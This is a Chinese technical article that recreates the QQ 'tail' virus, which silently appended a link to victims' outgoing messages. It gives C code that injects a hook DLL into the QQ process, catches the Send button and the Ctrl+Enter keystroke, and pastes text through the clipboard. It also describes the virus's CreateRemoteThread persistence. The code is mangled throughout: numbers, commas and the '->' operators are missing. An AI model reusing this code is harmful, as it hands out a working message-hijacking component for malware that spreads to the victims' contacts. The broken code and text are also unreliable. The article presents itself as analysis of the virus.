自
起
QQ尾巴病毒可以算是风光了一阵子
它利用IE的邮件头漏洞在QQ上疯狂传播
中毒者在给别人发信息时
病毒会自动在信息文本的后边添上一句话
话的内容多种多样
总之就是希望信息的接收者点击这句话中的URL
成为下一个中毒者
下面我将要讨论的就是QQ尾巴病毒使用的这一技术由于病毒的源代码无法获得所以以下的代码全是我主观臆断所得所幸的是效果基本与病毒本身一致
粘贴尾巴
首先的一个最简单的问题是如何添加文本这一技术毫无秘密可言就是通过剪贴板向QQ消息的那个RichEdit贴上一句话而已代码如下
TCHAR g_str[] = 欢迎来我的小站坐坐;
// 函数功能向文本框中粘贴尾巴
void PasteText(HWND hRich)
{
HGLOBAL hMem;
LPTSTR pStr;
// 分配内存空间
hMem = GlobalAlloc(GHND | GMEM_SHARE sizeof(g_str));
pStr = GlobalLock(hMem);
lstrcpy(pStr g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
// 设置剪贴板文本
SetClipboardData(CF_TEXT hMem);
CloseClipboard();
// 释放内存空间
GlobalFree(hMem);
// 粘贴文本
SendMessage(hRich WM_PASTE );
}
钩子
好了那么下面的问题是这段文本应该在什么时候贴呢?网上有一些研究QQ尾巴实现的文章指出可以用计时器来控制粘贴的时间类似这个样子
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
PasteText(hRich);
}
这的确是一种解决的手段然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字尾巴文本唰的出现了……
然而病毒本身却不是这样子它能够准确地在你单击发送或按下Ctrl+Enter键的时候将文本粘贴上年月份我的一台P曾经中过毒由于系统速度较慢所以可以很清楚地看见文本粘贴的时机
讲到这里我所陈述的这些事实一定会让身为读者的你说钩子!——对就是钩子下面我所说的正是用钩子来真实地再现QQ尾巴病毒的这一技术
首先我对钩子做一个简要的介绍已经熟悉钩子的朋友们可以跳过这一段所谓Win钩子(hook)并不是铁钩船长那只人工再现的手臂而是一段子程序它可以用来监视检测系统中的特定消息并完成一些特定的功能打个比方来说你的程序是皇帝Windows系统充当各省的巡抚至于钩子则可以算是皇上的一个钦差譬如皇帝下旨在全国收税然后派了一个钦差找到山西巡抚说皇上有旨山西除正常赋税外加收杏花村酒十坛(_#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样程序员也可以用钩子来捕获处理Windows系统中特定的消息
问题具体到了QQ尾巴病毒上边就是我们需要一个钩子在用户单击了发送按钮之后粘贴我们的文本我所实现的这段钩子过程为(至于如何挂接这个钩子我会在稍后说明)
// 钩子过程监视发送的命令消息
LRESULT CALLBACK CallWndProc(int nCode WPARAM wParam LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获发送按钮
if (p>message == WM_COMMAND && LOWORD(p>wParam) == )
PasteText(g_hRich);
return CallNextHookEx(g_hProc nCode wParam lParam);
}
在此我对这个回调过程说明几点
lParam是一个指向CWPSTRUCT结构的指针这个结构的描述如下
typedef struct {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT *PCWPSTRUCT;
这时候像我一样的SDK fans也许会会心一笑这不是窗口回调的那四个铁桿参数么?如你所说的确是这样你甚至可以使用switch (p>message) { /* */ }这样的代码写成的钩子函数来全面接管QQ窗口
g_hRich是一个全局变量它保存的是QQ消息文本框的句柄这里之所以采用全局变量是因为我无法从键盘钩子回调函数的参数中获得这个句柄至于如何获得这个句柄以及这个全局变量的特殊位置我会在稍后说明
CallNextHookEx是调用钩子链中的下一个处理过程换了钦差就会说十坛杏花村酒本钦差已经替皇上收下了现在请巡抚大人把贵省正常的赋税交上来吧(_#……)这是书写钩子函数中很重要的一个环节如果少了这一句那么可能会导致系统的钩子链出现错误某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回
你也许会问为什么我捕获的是WM_COMMAND消息这个原因让我来用下面的SDK代码(虽然QQ是用MFC写的但是用SDK代码才能说明WM_COMMAND和发送按钮的关系)来说明
#define IDC_BTN_SENDMSG
//
发送
按钮ID的宏定义
// QQ发送消息对话框回调过程·李马伪造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg UINT Msg WPARAM wParam LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
EndDialog(hDlg );
break;
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_BTN_SENDMSG:
// 发送消息
break;
// 其它的命令按钮处理部分
}
}
break;
// 其它的case部分
}
return ;
}
消息发送的整个过程是当用户单击了发送按钮后这个按钮的父窗口(也就是发送消息的对话框)会收到一条WM_COMMAND的通知消息其中wParam的低位字(即LOWORD(wParam))为这个按钮的ID然后再调用代码中发送的部分这个过程如下图
所以在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多
好了现在这个钩子已经可以胜利地完成任务了但是请不要忘记有更多的用户更偏爱于用Ctrl+Enter热键来发送消息所以程序中还需要挂上一个键盘钩子
// 键盘钩子过程监视发送的热键消息
LRESULT CALLBACK KeyboardProc(int nCode WPARAM wParam LPARAM lParam)
{
// 捕获热键消息
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < && lParam >= )
PasteText(g_hRich);
return CallNextHookEx(g_hKey nCode wParam lParam);
}
在这里唯一要解释的一点就是lParam >= 子句很明显这个if判断是在判断热键Ctrl+Enter的输入那么lParam >= 又是什么呢?事实上在键盘钩子的回调之中lParam是一个很重要的参数它包含了击键的重复次数扫描码扩展键标志等等的信息其中lParam的最高位(x)则表示了当前这个键是否被按下如果这个位正在被按下这个位就是反之为所以lParam >= 的意思就是在WM_KEYDOWN的时候调用PasteText也就是说如果去掉这个条件PasteText将会被调用两次(连同WM_KEYUP的一次)
挂接钩子和查找窗口
接下来就是如何挂接这两个钩子了对于挂接钩子要解决的问题是往哪里挂接钩子以及如何挂接?
挂接钩子的目标肯定是QQ发送信息窗口的所属线程我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQ NULL);
// 感谢好友hottey的查找代码省去了我使用Spy++的麻烦
g_hRich = GetWindow(GetDlgItem(hQQ ) GW_CHILD);
if (g_hRich == NULL)
return FALSE;
// 挂接钩子
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC CallWndProc g_hInstDLL dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD KeyboardProc g_hInstDLL dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hRich = NULL;
}
return bRet;
}
到此为止以上所有的代码都位于一个Hookdll的动态链接库之中关于DLL我就不多介绍了请查阅MSDN上的相关资料和本文的配套源代码
DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成这是由Windows虚拟内存机制决定的)我们只需要在EXE之中调用导出的SetHook函数就可以了那么SetHook的参数如何获得呢?请看以下代码
// 感谢好友hottey的查找代码
省去了我使用Spy++的麻烦
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
g_hQQ = FindWindowEx(NULL g_hQQ # NULL);
hSend = FindWindowEx(g_hQQ NULL Button 发送(&S));
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);
这段代码中的dowhile循环就是用来查找发送消息的窗口的QQ窗口的保密性越来越强了窗口一层套一层找起来十分不便所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦我所做的只是把他文中的Delphi代码翻译成了C代码
DLL的共享数据段
如果你对DLL不甚了解那么在你读到我的配套源代码之后肯定会对下面这一段代码有些疑问
// 定义共享数据段
#pragma data_seg(shared)
HHOOK g_hProc = NULL; // 窗口过程钩子句柄
HHOOK g_hKey = NULL; // 键盘钩子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker /section:sharedrws)
这定义了一段共享的数据段是的因为我的注释已经写得很清楚了那么共享数据段起到了什么作用呢?在回答这个问题之前我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行你会发现什么?
是的添加尾巴失败!
好了我来解释一下这个问题我们的这个仿真程序的EXEDLL以及QQ的主程序事实上是下面这样一种关系
这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作也就是说当钩子挂接完毕之后整个系统的模块中有两个DLL实例的存在!此DLL非彼DLL也所以它们之间是没有任何联系的拿全局变量g_hRich来说图中左边的DLL通过EXE的传入获得了文本框的句柄然而如果没有共享段的话那么右边的DLL中g_hRich仍然是NULL共享段于此的意义也就体现出来了就是为了保证EXEDLLQQ三者之间的联系这一点和C++中static的成员变量有些相似
在钩子挂接成功之后你可以通过一些有模块查看功能的进程管理器看一看就会发现Hookdll也位于QQexe的模块之中
最后一些要说的
我是前说过在年的月份我就碰到了这种病毒至今我还很清楚地记得那个病毒EXE只有KB大小所以从病毒本身存在的性质来说这个东西应该是用WinASM来写会更实用一些
那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了但是现在的QQ尾巴增加了复活功能——在EXE被杀掉后DLL会将其唤醒我曾经用我的进程查看工具分析过发现系统中几乎所有的进程都被病毒的DLL挂住了这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程真可谓是一石二鸟——保证EXE永远运行同时这个正在使用中的DLL是无法被删除的这一技术我也已经实现了但是稳定性方面远不及病毒本身做得优秀故在此也就不将其写出了有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节
走笔至此想起了侯捷老师《STL源码剖析》中的一句话——源码之前了无秘密如果你看完本文之后也有这样的感觉那么我将感到不胜荣幸